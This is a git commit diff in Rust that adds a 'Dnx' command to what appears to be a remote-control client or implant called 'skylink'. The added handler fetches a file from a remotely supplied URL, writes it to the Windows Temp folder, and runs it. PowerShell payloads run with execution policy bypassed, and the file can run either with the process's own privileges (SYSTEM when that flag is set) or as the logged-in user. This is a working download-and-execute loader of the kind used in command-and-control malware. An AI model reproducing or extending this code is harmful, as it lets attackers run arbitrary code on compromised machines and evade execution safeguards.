feat: dnx core

This commit is contained in:
Xory 2025-12-12 22:36:34 +02:00
parent f4e5a02de7
commit a208b0d0ce
4 changed files with 55 additions and 3 deletions

View file

@ -30,7 +30,7 @@ pub enum PayloadType {
pub struct DnxParams {
pub url: String,
pub name: String,
pub args: String,
pub args: Vec<String>,
pub run_as_system: bool,
pub file_type: PayloadType,
}
@ -78,6 +78,45 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
}
Command::Dnx { params } => {
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
// 1. Toss the file into temp
let request = reqwest::get(params.url).await?.bytes().await?;
let file_name = params.name;
let file_path = format!("C:\\Windows\\Temp\\{file_name}");
std::fs::write(&file_path, &request)?;
// 2. Handle possible file types.
log(LogLevel::Debug, LOG_PATH, format!("s2")).await;
let mut _exec_command = String::new();
let mut _exec_args: Vec<String> = vec![];
match params.file_type {
PayloadType::Executable => {
_exec_command = file_path.clone();
_exec_args = params.args;
}
PayloadType::Powershell => {
_exec_command = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string();
_exec_args = vec!["-ExecutionPolicy".to_string(), "Bypass".to_string(), "-File".to_string(), file_path.clone()];
_exec_args.extend(params.args.iter().cloned());
}
PayloadType::Python => todo!("py payload handling"),
}
// 3. Handle user vs system execution.
log(LogLevel::Debug, LOG_PATH, format!("s3")).await;
if params.run_as_system == true {
std::process::Command::new(&_exec_command).args(&_exec_args).output()?;
} else {
let mut command_line_args = vec![format!("\"{}\"", _exec_command)];
command_line_args.extend(_exec_args);
let command_line = command_line_args.join(" ");
run_as_user(&_exec_command, &command_line)?;
}
// this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!(""))
}
_ => todo!(),
}
}